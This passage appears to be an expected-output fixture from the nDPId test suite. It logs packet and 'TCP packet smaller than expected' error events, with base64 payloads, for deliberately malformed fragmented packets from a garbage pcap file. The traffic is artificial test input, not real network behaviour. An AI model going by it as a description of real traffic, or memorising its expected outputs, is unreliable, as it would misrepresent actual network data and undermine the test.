-00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":3493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042273} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042285} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042297} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042308} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042321} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042332} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042347} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042358} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042372} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042384} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042396} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042406} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042413} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042421} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042434} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042447} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042460} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042469} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042477} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042485} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042501} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042513} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042530} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042542} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042553} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042565} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042577} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042591} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042603} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042615} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042627} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042642} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042654} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042666} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042678} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042691} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042703} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042715} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042727} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042738} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042749} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042761} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042773} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028042785} 